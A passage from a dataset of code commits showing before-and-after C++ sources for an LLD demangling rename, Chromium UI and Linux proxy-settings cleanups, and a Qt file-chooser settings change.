std::uniform_real_distribution<float>(minMag, maxMag);\n\n float angle = angleDist(randomEngine);\n float mag = magDist(randomEngine);\n\n auto v = sf::Vector2f(mag, 0.f);\n setHeading(v, angle);\n\n return v;\n}\n\nsf::Vector2f randomEllipticalVector(float xScale, float angle, float minMag, float maxMag)\n{\n \/\/ Just generate a random circular vector, scale it, and rotate it\n auto vec = randomSpreadVector(0.f, ECSE::twoPi, minMag, maxMag);\n vec.x *= xScale;\n rotate(vec, angle);\n\n return vec;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- Strings.cpp -------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Strings.h\"\n#include \"Config.h\"\n#include \"Error.h\"\n#include \"llvm\/ADT\/ArrayRef.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Demangle\/Demangle.h\"\n#include <algorithm>\n#include <cstring>\n\nusing namespace llvm;\nusing namespace lld;\nusing namespace lld::elf;\n\nStringMatcher::StringMatcher(ArrayRef<StringRef> Pat) {\n for (StringRef S : Pat) {\n Expected<GlobPattern> Pat = GlobPattern::create(S);\n if (!Pat)\n error(toString(Pat.takeError()));\n else\n Patterns.push_back(*Pat);\n }\n}\n\nbool StringMatcher::match(StringRef S) const {\n for (const GlobPattern &Pat : Patterns)\n if (Pat.match(S))\n return true;\n return false;\n}\n\n\/\/ If an input string is in the form of \"foo.N\" where N is a number,\n\/\/ return N. Otherwise, returns 65536, which is one greater than the\n\/\/ lowest priority.\nint elf::getPriority(StringRef S) {\n size_t Pos = S.rfind('.');\n if (Pos == StringRef::npos)\n return 65536;\n int V;\n if (S.substr(Pos + 1).getAsInteger(10, V))\n return 65536;\n return V;\n}\n\nbool elf::hasWildcard(StringRef S) {\n return S.find_first_of(\"?*[\") != StringRef::npos;\n}\n\nStringRef elf::unquote(StringRef S) {\n if (!S.startswith(\"\\\"\"))\n return S;\n return S.substr(1, S.size() - 2);\n}\n\n\/\/ Converts a hex string (e.g. \"deadbeef\") to a vector.\nstd::vector<uint8_t> elf::parseHex(StringRef S) {\n std::vector<uint8_t> Hex;\n while (!S.empty()) {\n StringRef B = S.substr(0, 2);\n S = S.substr(2);\n uint8_t H;\n if (B.getAsInteger(16, H)) {\n error(\"not a hexadecimal value: \" + B);\n return {};\n }\n Hex.push_back(H);\n }\n return Hex;\n}\n\nstatic bool isAlpha(char C) {\n return ('a' <= C && C <= 'z') || ('A' <= C && C <= 'Z') || C == '_';\n}\n\nstatic bool isAlnum(char C) { return isAlpha(C) || ('0' <= C && C <= '9'); }\n\n\/\/ Returns true if S is valid as a C language identifier.\nbool elf::isValidCIdentifier(StringRef S) {\n return !S.empty() && isAlpha(S[0]) &&\n std::all_of(S.begin() + 1, S.end(), isAlnum);\n}\n\n\/\/ Returns the demangled C++ symbol name for Name.\nOptional<std::string> elf::demangle(StringRef Name) {\n \/\/ __cxa_demangle can be used to demangle strings other than symbol\n \/\/ names which do not necessarily start with \"_Z\". Name can be\n \/\/ either a C or C++ symbol. Don't call __cxa_demangle if the name\n \/\/ does not look like a C++ symbol name to avoid getting unexpected\n \/\/ result for a C symbol that happens to match a mangled type name.\n if (!Name.startswith(\"_Z\"))\n return None;\n\n char *Buf = itaniumDemangle(Name.str().c_str(), nullptr, nullptr, nullptr);\n if (!Buf)\n return None;\n std::string S(Buf);\n free(Buf);\n return S;\n}\n<commit_msg>[ELF] __cxa_demangle is now called itaniumDemangle. Update.<commit_after>\/\/===- Strings.cpp -------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Strings.h\"\n#include \"Config.h\"\n#include \"Error.h\"\n#include \"llvm\/ADT\/ArrayRef.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Demangle\/Demangle.h\"\n#include <algorithm>\n#include <cstring>\n\nusing namespace llvm;\nusing namespace lld;\nusing namespace lld::elf;\n\nStringMatcher::StringMatcher(ArrayRef<StringRef> Pat) {\n for (StringRef S : Pat) {\n Expected<GlobPattern> Pat = GlobPattern::create(S);\n if (!Pat)\n error(toString(Pat.takeError()));\n else\n Patterns.push_back(*Pat);\n }\n}\n\nbool StringMatcher::match(StringRef S) const {\n for (const GlobPattern &Pat : Patterns)\n if (Pat.match(S))\n return true;\n return false;\n}\n\n\/\/ If an input string is in the form of \"foo.N\" where N is a number,\n\/\/ return N. Otherwise, returns 65536, which is one greater than the\n\/\/ lowest priority.\nint elf::getPriority(StringRef S) {\n size_t Pos = S.rfind('.');\n if (Pos == StringRef::npos)\n return 65536;\n int V;\n if (S.substr(Pos + 1).getAsInteger(10, V))\n return 65536;\n return V;\n}\n\nbool elf::hasWildcard(StringRef S) {\n return S.find_first_of(\"?*[\") != StringRef::npos;\n}\n\nStringRef elf::unquote(StringRef S) {\n if (!S.startswith(\"\\\"\"))\n return S;\n return S.substr(1, S.size() - 2);\n}\n\n\/\/ Converts a hex string (e.g. \"deadbeef\") to a vector.\nstd::vector<uint8_t> elf::parseHex(StringRef S) {\n std::vector<uint8_t> Hex;\n while (!S.empty()) {\n StringRef B = S.substr(0, 2);\n S = S.substr(2);\n uint8_t H;\n if (B.getAsInteger(16, H)) {\n error(\"not a hexadecimal value: \" + B);\n return {};\n }\n Hex.push_back(H);\n }\n return Hex;\n}\n\nstatic bool isAlpha(char C) {\n return ('a' <= C && C <= 'z') || ('A' <= C && C <= 'Z') || C == '_';\n}\n\nstatic bool isAlnum(char C) { return isAlpha(C) || ('0' <= C && C <= '9'); }\n\n\/\/ Returns true if S is valid as a C language identifier.\nbool elf::isValidCIdentifier(StringRef S) {\n return !S.empty() && isAlpha(S[0]) &&\n std::all_of(S.begin() + 1, S.end(), isAlnum);\n}\n\n\/\/ Returns the demangled C++ symbol name for Name.\nOptional<std::string> elf::demangle(StringRef Name) {\n \/\/ itaniumDemangle can be used to demangle strings other than symbol\n \/\/ names which do not necessarily start with \"_Z\". Name can be\n \/\/ either a C or C++ symbol. Don't call itaniumDemangle if the name\n \/\/ does not look like a C++ symbol name to avoid getting unexpected\n \/\/ result for a C symbol that happens to match a mangled type name.\n if (!Name.startswith(\"_Z\"))\n return None;\n\n char *Buf = itaniumDemangle(Name.str().c_str(), nullptr, nullptr, nullptr);\n if (!Buf)\n return None;\n std::string S(Buf);\n free(Buf);\n return S;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/views\/location_bar\/chrome_to_mobile_view.h\"\n\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/view_ids.h\"\n#include \"chrome\/browser\/ui\/views\/browser_dialogs.h\"\n#include \"chrome\/browser\/ui\/views\/location_bar\/location_bar_view.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n#include \"grit\/theme_resources_standard.h\"\n#include \"ui\/base\/accessibility\/accessible_view_state.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n\nChromeToMobileView::ChromeToMobileView(\n LocationBarView* location_bar_view,\n CommandUpdater* command_updater)\n : location_bar_view_(location_bar_view),\n command_updater_(command_updater) {\n set_id(VIEW_ID_CHROME_TO_MOBILE_BUTTON);\n set_accessibility_focusable(true);\n SetImage(ResourceBundle::GetSharedInstance().GetBitmapNamed(IDR_STAR));\n SetTooltipText(\n l10n_util::GetStringUTF16(IDS_CHROME_TO_MOBILE_BUBBLE_TOOLTIP));\n SetVisible(command_updater_->IsCommandEnabled(IDC_CHROME_TO_MOBILE_PAGE));\n command_updater_->AddCommandObserver(IDC_CHROME_TO_MOBILE_PAGE, this);\n}\n\nChromeToMobileView::~ChromeToMobileView() {\n command_updater_->RemoveCommandObserver(IDC_CHROME_TO_MOBILE_PAGE, this);\n}\n\nvoid ChromeToMobileView::EnabledStateChangedForCommand(int id, bool enabled) {\n DCHECK_EQ(id, IDC_CHROME_TO_MOBILE_PAGE);\n if (enabled != visible()) {\n SetVisible(enabled);\n location_bar_view_->Update(NULL);\n }\n}\n\nvoid ChromeToMobileView::GetAccessibleState(ui::AccessibleViewState* state) {\n state->name = l10n_util::GetStringUTF16(IDS_ACCNAME_CHROME_TO_MOBILE);\n state->role = ui::AccessibilityTypes::ROLE_PUSHBUTTON;\n}\n\nbool ChromeToMobileView::GetTooltipText(const gfx::Point& p,\n string16* tooltip) const {\n \/\/ Don't show tooltip to distract user if ChromeToMobileBubbleView is showing.\n if (browser::IsChromeToMobileBubbleViewShowing())\n return false;\n\n return ImageView::GetTooltipText(p, tooltip);\n}\n\nbool ChromeToMobileView::OnMousePressed(const views::MouseEvent& event) {\n \/\/ Show the bubble on mouse release; that is standard button behavior.\n return true;\n}\n\nvoid ChromeToMobileView::OnMouseReleased(const views::MouseEvent& event) {\n if (event.IsOnlyLeftMouseButton() && HitTest(event.location()))\n command_updater_->ExecuteCommand(IDC_CHROME_TO_MOBILE_PAGE);\n}\n\nbool ChromeToMobileView::OnKeyPressed(const views::KeyEvent& event) {\n if (event.key_code() == ui::VKEY_SPACE ||\n event.key_code() == ui::VKEY_RETURN) {\n command_updater_->ExecuteCommand(IDC_CHROME_TO_MOBILE_PAGE);\n return true;\n }\n return false;\n}\n<commit_msg>Use Chrome To Mobile's new mobile device\/phone icon. Replace IDR_STAR with IDR_MOBILE for the page action icon.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/views\/location_bar\/chrome_to_mobile_view.h\"\n\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/view_ids.h\"\n#include \"chrome\/browser\/ui\/views\/browser_dialogs.h\"\n#include \"chrome\/browser\/ui\/views\/location_bar\/location_bar_view.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n#include \"grit\/theme_resources_standard.h\"\n#include \"ui\/base\/accessibility\/accessible_view_state.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n\nChromeToMobileView::ChromeToMobileView(\n LocationBarView* location_bar_view,\n CommandUpdater* command_updater)\n : location_bar_view_(location_bar_view),\n command_updater_(command_updater) {\n set_id(VIEW_ID_CHROME_TO_MOBILE_BUTTON);\n set_accessibility_focusable(true);\n SetImage(ResourceBundle::GetSharedInstance().GetBitmapNamed(IDR_MOBILE));\n SetTooltipText(\n l10n_util::GetStringUTF16(IDS_CHROME_TO_MOBILE_BUBBLE_TOOLTIP));\n SetVisible(command_updater_->IsCommandEnabled(IDC_CHROME_TO_MOBILE_PAGE));\n command_updater_->AddCommandObserver(IDC_CHROME_TO_MOBILE_PAGE, this);\n}\n\nChromeToMobileView::~ChromeToMobileView() {\n command_updater_->RemoveCommandObserver(IDC_CHROME_TO_MOBILE_PAGE, this);\n}\n\nvoid ChromeToMobileView::EnabledStateChangedForCommand(int id, bool enabled) {\n DCHECK_EQ(id, IDC_CHROME_TO_MOBILE_PAGE);\n if (enabled != visible()) {\n SetVisible(enabled);\n location_bar_view_->Update(NULL);\n }\n}\n\nvoid ChromeToMobileView::GetAccessibleState(ui::AccessibleViewState* state) {\n state->name = l10n_util::GetStringUTF16(IDS_ACCNAME_CHROME_TO_MOBILE);\n state->role = ui::AccessibilityTypes::ROLE_PUSHBUTTON;\n}\n\nbool ChromeToMobileView::GetTooltipText(const gfx::Point& p,\n string16* tooltip) const {\n \/\/ Don't show tooltip to distract user if ChromeToMobileBubbleView is showing.\n if (browser::IsChromeToMobileBubbleViewShowing())\n return false;\n\n return ImageView::GetTooltipText(p, tooltip);\n}\n\nbool ChromeToMobileView::OnMousePressed(const views::MouseEvent& event) {\n \/\/ Show the bubble on mouse release; that is standard button behavior.\n return true;\n}\n\nvoid ChromeToMobileView::OnMouseReleased(const views::MouseEvent& event) {\n if (event.IsOnlyLeftMouseButton() && HitTest(event.location()))\n command_updater_->ExecuteCommand(IDC_CHROME_TO_MOBILE_PAGE);\n}\n\nbool ChromeToMobileView::OnKeyPressed(const views::KeyEvent& event) {\n if (event.key_code() == ui::VKEY_SPACE ||\n event.key_code() == ui::VKEY_RETURN) {\n command_updater_->ExecuteCommand(IDC_CHROME_TO_MOBILE_PAGE);\n return true;\n }\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#if !defined(OS_CHROMEOS)\n\n#include \"chrome\/browser\/ui\/webui\/options\/advanced_options_utils.h\"\n\n#include \"base\/environment.h\"\n#include \"base\/file_util.h\"\n#include \"base\/nix\/xdg_util.h\"\n#include \"base\/process_util.h\"\n#include \"base\/string_tokenizer.h\"\n#include \"chrome\/browser\/ui\/browser_list.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/process_watcher.h\"\n#include \"ui\/base\/gtk\/gtk_signal.h\"\n\n\/\/ Command used to configure GNOME proxy settings. The command was renamed\n\/\/ in January 2009, so both are used to work on both old and new systems.\nconst char* kOldGNOMEProxyConfigCommand[] = {\"gnome-network-preferences\", NULL};\nconst char* kGNOMEProxyConfigCommand[] = {\"gnome-network-properties\", NULL};\n\/\/ KDE3 and KDE4 are only slightly different, but incompatible. Go figure.\nconst char* kKDE3ProxyConfigCommand[] = {\"kcmshell\", \"proxy\", NULL};\nconst char* kKDE4ProxyConfigCommand[] = {\"kcmshell4\", \"proxy\", NULL};\n\n\/\/ The URL for Linux proxy configuration help when not running under a\n\/\/ supported desktop environment.\nconst char kLinuxProxyConfigUrl[] = \"about:linux-proxy-config\";\n\nstruct ProxyConfigCommand {\n std::string binary;\n const char** argv;\n};\n\nnamespace {\n\n\/\/ Search $PATH to find one of the commands. Store the full path to\n\/\/ it in the |binary| field and the command array index in in |index|.\nbool SearchPATH(ProxyConfigCommand* commands, size_t ncommands, size_t* index) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n const char* path = getenv(\"PATH\");\n if (!path)\n return false;\n FilePath bin_path;\n CStringTokenizer tk(path, path + strlen(path), \":\");\n \/\/ Search $PATH looking for the commands in order.\n while (tk.GetNext()) {\n for (size_t i = 0; i < ncommands; i++) {\n bin_path = FilePath(tk.token()).Append(commands[i].argv[0]);\n if (file_util::PathExists(bin_path)) {\n commands[i].binary = bin_path.value();\n if (index)\n *index = i;\n return true;\n }\n }\n }\n \/\/ Did not find any of the binaries in $PATH.\n return false;\n}\n\n\/\/ Show the proxy config URL in the given tab.\nvoid ShowLinuxProxyConfigUrl(TabContents* tab_contents) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n scoped_ptr<base::Environment> env(base::Environment::Create());\n const char* name = base::nix::GetDesktopEnvironmentName(env.get());\n if (name)\n LOG(ERROR) << \"Could not find \" << name << \" network settings in $PATH\";\n tab_contents->OpenURL(GURL(kLinuxProxyConfigUrl), GURL(),\n NEW_FOREGROUND_TAB, PageTransition::LINK);\n}\n\n\/\/ Start the given proxy configuration utility.\nvoid StartProxyConfigUtil(TabContents* tab_contents,\n const ProxyConfigCommand& command) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n std::vector<std::string> argv;\n argv.push_back(command.binary);\n for (size_t i = 1; command.argv[i]; i++)\n argv.push_back(command.argv[i]);\n base::file_handle_mapping_vector no_files;\n base::ProcessHandle handle;\n if (!base::LaunchApp(argv, no_files, false, &handle)) {\n LOG(ERROR) << \"StartProxyConfigUtil failed to start \" << command.binary;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n NewRunnableFunction(&ShowLinuxProxyConfigUrl, tab_contents));\n return;\n }\n ProcessWatcher::EnsureProcessGetsReaped(handle);\n}\n\n\/\/ Detect, and if possible, start the appropriate proxy config utility. On\n\/\/ failure to do so, show the Linux proxy config URL in a new tab instead.\nvoid DetectAndStartProxyConfigUtil(TabContents* tab_contents) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n scoped_ptr<base::Environment> env(base::Environment::Create());\n\n ProxyConfigCommand command;\n bool found_command = false;\n switch (base::nix::GetDesktopEnvironment(env.get())) {\n case base::nix::DESKTOP_ENVIRONMENT_GNOME: {\n size_t index;\n ProxyConfigCommand commands[2];\n commands[0].argv = kGNOMEProxyConfigCommand;\n commands[1].argv = kOldGNOMEProxyConfigCommand;\n found_command = SearchPATH(commands, 2, &index);\n if (found_command)\n command = commands[index];\n break;\n }\n\n case base::nix::DESKTOP_ENVIRONMENT_KDE3:\n command.argv = kKDE3ProxyConfigCommand;\n found_command = SearchPATH(&command, 1, NULL);\n break;\n\n case base::nix::DESKTOP_ENVIRONMENT_KDE4:\n command.argv = kKDE4ProxyConfigCommand;\n found_command = SearchPATH(&command, 1, NULL);\n break;\n\n case base::nix::DESKTOP_ENVIRONMENT_XFCE:\n case base::nix::DESKTOP_ENVIRONMENT_OTHER:\n break;\n }\n\n if (found_command) {\n StartProxyConfigUtil(tab_contents, command);\n } else {\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n NewRunnableFunction(&ShowLinuxProxyConfigUrl, tab_contents));\n }\n}\n\n} \/\/ anonymous namespace\n\nvoid AdvancedOptionsUtilities::ShowNetworkProxySettings(\n TabContents* tab_contents) {\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n NewRunnableFunction(&DetectAndStartProxyConfigUtil, tab_contents));\n}\n\n#endif \/\/ !defined(OS_CHROMEOS)\n<commit_msg>Cleanup: Simplify the Linux proxy options code.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#if !defined(OS_CHROMEOS)\n\n#include \"chrome\/browser\/ui\/webui\/options\/advanced_options_utils.h\"\n\n#include \"base\/environment.h\"\n#include \"base\/nix\/xdg_util.h\"\n#include \"base\/process_util.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/process_watcher.h\"\n\n\/\/ Command used to configure GNOME proxy settings. The command was renamed\n\/\/ in January 2009, so both are used to work on both old and new systems.\n\/\/ As on April 2011, many systems do not have the old command anymore.\n\/\/ TODO(thestig) Remove the old command in the future.\nconst char* kOldGNOMEProxyConfigCommand[] = {\"gnome-network-preferences\", NULL};\nconst char* kGNOMEProxyConfigCommand[] = {\"gnome-network-properties\", NULL};\n\/\/ KDE3 and KDE4 are only slightly different, but incompatible. Go figure.\nconst char* kKDE3ProxyConfigCommand[] = {\"kcmshell\", \"proxy\", NULL};\nconst char* kKDE4ProxyConfigCommand[] = {\"kcmshell4\", \"proxy\", NULL};\n\n\/\/ The URL for Linux proxy configuration help when not running under a\n\/\/ supported desktop environment.\nconst char kLinuxProxyConfigUrl[] = \"about:linux-proxy-config\";\n\nnamespace {\n\n\/\/ Show the proxy config URL in the given tab.\nvoid ShowLinuxProxyConfigUrl(TabContents* tab_contents) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n scoped_ptr<base::Environment> env(base::Environment::Create());\n const char* name = base::nix::GetDesktopEnvironmentName(env.get());\n if (name)\n LOG(ERROR) << \"Could not find \" << name << \" network settings in $PATH\";\n tab_contents->OpenURL(GURL(kLinuxProxyConfigUrl), GURL(),\n NEW_FOREGROUND_TAB, PageTransition::LINK);\n}\n\n\/\/ Start the given proxy configuration utility.\nbool StartProxyConfigUtil(TabContents* tab_contents, const char* command[]) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n std::vector<std::string> argv;\n for (size_t i = 0; command[i]; ++i)\n argv.push_back(command[i]);\n base::file_handle_mapping_vector no_files;\n base::ProcessHandle handle;\n if (!base::LaunchApp(argv, no_files, false, &handle)) {\n LOG(ERROR) << \"StartProxyConfigUtil failed to start \" << command[0];\n return false;\n }\n ProcessWatcher::EnsureProcessGetsReaped(handle);\n return true;\n}\n\n\/\/ Detect, and if possible, start the appropriate proxy config utility. On\n\/\/ failure to do so, show the Linux proxy config URL in a new tab instead.\nvoid DetectAndStartProxyConfigUtil(TabContents* tab_contents) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n scoped_ptr<base::Environment> env(base::Environment::Create());\n\n bool launched = false;\n switch (base::nix::GetDesktopEnvironment(env.get())) {\n case base::nix::DESKTOP_ENVIRONMENT_GNOME: {\n launched = StartProxyConfigUtil(tab_contents, kGNOMEProxyConfigCommand);\n if (!launched) {\n launched = StartProxyConfigUtil(tab_contents,\n kOldGNOMEProxyConfigCommand);\n }\n break;\n }\n\n case base::nix::DESKTOP_ENVIRONMENT_KDE3:\n launched = StartProxyConfigUtil(tab_contents, kKDE3ProxyConfigCommand);\n break;\n\n case base::nix::DESKTOP_ENVIRONMENT_KDE4:\n launched = StartProxyConfigUtil(tab_contents, kKDE4ProxyConfigCommand);\n break;\n\n case base::nix::DESKTOP_ENVIRONMENT_XFCE:\n case base::nix::DESKTOP_ENVIRONMENT_OTHER:\n break;\n }\n\n if (launched)\n return;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,\n NewRunnableFunction(&ShowLinuxProxyConfigUrl, tab_contents));\n}\n\n} \/\/ anonymous namespace\n\nvoid AdvancedOptionsUtilities::ShowNetworkProxySettings(\n TabContents* tab_contents) {\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n NewRunnableFunction(&DetectAndStartProxyConfigUtil, tab_contents));\n}\n\n#endif \/\/ !defined(OS_CHROMEOS)\n<|endoftext|>"} {"text":"<commit_before>#include \"FileChooser.h\"\n#include \"Settings.h\"\n#include \"GUIHelper.h\"\n#include <QFileDialog>\n#include <QDragEnterEvent>\n#include <QDropEvent>\n#include <QUrl>\n#include <QMenu>\n#include <QDesktopServices>\n#include <QMimeData>\n#include <QBoxLayout>\n\nFileChooser::FileChooser(FileChooser::Type type, QWidget *parent)\n\t: QWidget(parent)\n\t, type_(type)\n{\n\tsetAcceptDrops(true);\n\n\t\/\/create layout\n\tQBoxLayout* layout = new QBoxLayout(QBoxLayout::LeftToRight);\n\tlayout->setMargin(0);\n\tlayout->setSpacing(3);\n\tsetLayout(layout);\n\n\t\/\/add widgets\n\ttext_ = new QLineEdit();\n\tlayout->addWidget(text_);\n\tbutton_ = new QPushButton(\"browse\");\n\tlayout->addWidget(button_);\n\n\tconnect(button_, SIGNAL(clicked()), this, SLOT(browseFile()));\n}\n\nQString FileChooser::file()\n{\n\treturn text_->text();\n}\n\nvoid FileChooser::setFile(QString file)\n{\n\ttext_->setText(file);\n}\n\nvoid FileChooser::browseFile()\n{\n\tQString file = \"\";\n\n\tif (type_==LOAD)\n\t{\n\t\tfile = QFileDialog::getOpenFileName(this, \"Select input file.\", Settings::path(\"open_data_folder\"), \"*.*\");\n\t\tif (file!=\"\")\n\t\t{\n\t\t\tSettings::setPath(\"open_data_folder\", file);\n\t\t}\n\t}\n\telse\n\t{\n\t\tfile = QFileDialog::getSaveFileName(this, \"Select output file.\", Settings::path(\"store_data_folder\"), \"*.*\");\n\t\tif (file!=\"\")\n\t\t{\n\t\t\tSettings::setPath(\"store_data_folder\", file);\n\t\t}\n\t}\n\n\ttext_->setText(file);\n\ttext_->setToolTip(file);\n}\n\nvoid FileChooser::dragEnterEvent(QDragEnterEvent* e)\n{\n\tif (e->mimeData()->hasFormat(\"text\/uri-list\") && e->mimeData()->urls().count()==1)\n\t{\n\t\te->acceptProposedAction();\n\t}\n}\n\nvoid FileChooser::dropEvent(QDropEvent* e)\n{\n\tQString filename = e->mimeData()->urls().first().toLocalFile();\n\n\tif (filename.isEmpty()) return;\n\n\ttext_->setText(filename);\n}\n\nvoid FileChooser::contextMenuEvent(QContextMenuEvent* e)\n{\n\t\/\/create menu\n\tQMenu* menu = new QMenu();\n\tmenu->addAction(\"Copy\");\n\tmenu->addAction(\"Paste\");\n\tmenu->addAction(\"Delete\");\n\tmenu->addSeparator();\n\tif (text_->text()!=\"\")\n\t{\n\t\tmenu->addAction(\"Open\");\n\t}\n\n\t\/\/execute\n\tQAction* selected = menu->exec(e->globalPos());\n\n\t\/\/evaluate\n\tif (selected!=0)\n\t{\n\t\tif(selected->text()==\"Copy\")\n\t\t{\n\t\t\ttext_->selectAll();\n\t\t\ttext_->copy();\n\t\t\ttext_->deselect();\n\t\t}\n\t\telse if(selected->text()==\"Paste\")\n\t\t{\n\t\t\tQString previous = text_->text();\n\n\t\t\t\/\/paste\n\t\t\ttext_->selectAll();\n\t\t\ttext_->paste();\n\t\t\ttext_->deselect();\n\n\t\t\t\/\/check file exists\n\t\t\tif (!QFile::exists(text_->text()))\n\t\t\t{\n\t\t\t\tGUIHelper::showMessage(\"Error\", \"File '\" + text_->text() + \"' does not exist!\");\n\t\t\t\ttext_->setText(previous);\n\t\t\t}\n\t\t}\n\t\telse if(selected->text()==\"Delete\")\n\t\t{\n\t\t\ttext_->clear();\n\t\t}\n\t\telse if(selected->text()==\"Open\")\n\t\t{\n\t\t\tQDesktopServices::openUrl(\"file:\/\/\/\" + text_->text());\n\t\t}\n\t}\n}\n<commit_msg>Updated because of settings handling.<commit_after>#include \"FileChooser.h\"\n#include \"Settings.h\"\n#include \"GUIHelper.h\"\n#include <QFileDialog>\n#include <QDragEnterEvent>\n#include <QDropEvent>\n#include <QUrl>\n#include <QMenu>\n#include <QDesktopServices>\n#include <QMimeData>\n#include <QBoxLayout>\n\nFileChooser::FileChooser(FileChooser::Type type, QWidget *parent)\n\t: QWidget(parent)\n\t, type_(type)\n{\n\tsetAcceptDrops(true);\n\n\t\/\/create layout\n\tQBoxLayout* layout = new QBoxLayout(QBoxLayout::LeftToRight);\n\tlayout->setMargin(0);\n\tlayout->setSpacing(3);\n\tsetLayout(layout);\n\n\t\/\/add widgets\n\ttext_ = new QLineEdit();\n\tlayout->addWidget(text_);\n\tbutton_ = new QPushButton(\"browse\");\n\tlayout->addWidget(button_);\n\n\tconnect(button_, SIGNAL(clicked()), this, SLOT(browseFile()));\n}\n\nQString FileChooser::file()\n{\n\treturn text_->text();\n}\n\nvoid FileChooser::setFile(QString file)\n{\n\ttext_->setText(file);\n}\n\nvoid FileChooser::browseFile()\n{\n\tQString file = \"\";\n\n\tif (type_==LOAD)\n\t{\n\t\tfile = QFileDialog::getOpenFileName(this, \"Select input file.\", Settings::path(\"open_data_folder\", true), \"*.*\");\n\t\tif (file!=\"\")\n\t\t{\n\t\t\tSettings::setPath(\"open_data_folder\", file);\n\t\t}\n\t}\n\telse\n\t{\n\t\tfile = QFileDialog::getSaveFileName(this, \"Select output file.\", Settings::path(\"store_data_folder\", true), \"*.*\");\n\t\tif (file!=\"\")\n\t\t{\n\t\t\tSettings::setPath(\"store_data_folder\", file);\n\t\t}\n\t}\n\n\ttext_->setText(file);\n\ttext_->setToolTip(file);\n}\n\nvoid FileChooser::dragEnterEvent(QDragEnterEvent* e)\n{\n\tif (e->mimeData()->hasFormat(\"text\/uri-list\") && e->mimeData()->urls().count()==1)\n\t{\n\t\te->acceptProposedAction();\n\t}\n}\n\nvoid FileChooser::dropEvent(QDropEvent* e)\n{\n\tQString filename = e->mimeData()->urls().first().toLocalFile();\n\n\tif (filename.isEmpty()) return;\n\n\ttext_->setText(filename);\n}\n\nvoid FileChooser::contextMenuEvent(QContextMenuEvent* e)\n{\n\t\/\/create menu\n\tQMenu* menu = new QMenu();\n\tmenu->addAction(\"Copy\");\n\tmenu->addAction(\"Paste\");\n\tmenu->addAction(\"Delete\");\n\tmenu->addSeparator();\n\tif (text_->text()!=\"\")\n\t{\n\t\tmenu->addAction(\"Open\");\n\t}\n\n\t\/\/execute\n\tQAction* selected = menu->exec(e->globalPos());\n\n\t\/\/evaluate\n\tif (selected!=0)\n\t{\n\t\tif(selected->text()==\"Copy\")\n\t\t{\n\t\t\ttext_->selectAll();\n\t\t\ttext_->copy();\n\t\t\ttext_->deselect();\n\t\t}\n\t\telse if(selected->text()==\"Paste\")\n\t\t{\n\t\t\tQString previous = text_->text();\n\n\t\t\t\/\/paste\n\t\t\ttext_->selectAll();\n\t\t\ttext_->paste();\n\t\t\ttext_->deselect();\n\n\t\t\t\/\/check file exists\n\t\t\tif (!QFile::exists(text_->text()))\n\t\t\t{\n\t\t\t\tGUIHelper::showMessage(\"Error\", \"File '\" + text_->text() + \"' does not exist!\");\n\t\t\t\ttext_->setText(previous);\n\t\t\t}\n\t\t}\n\t\telse if(selected->text()==\"Delete\")\n\t\t{\n\t\t\ttext_->clear();\n\t\t}\n\t\telse if(selected->text()==\"Open\")\n\t\t{\n\t\t\tQDesktopServices::openUrl(\"file:\/\/\/\" + text_->text());\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: hyphenimp.hxx,v $\n *\n * $Revision: 1.6 $\n *\n 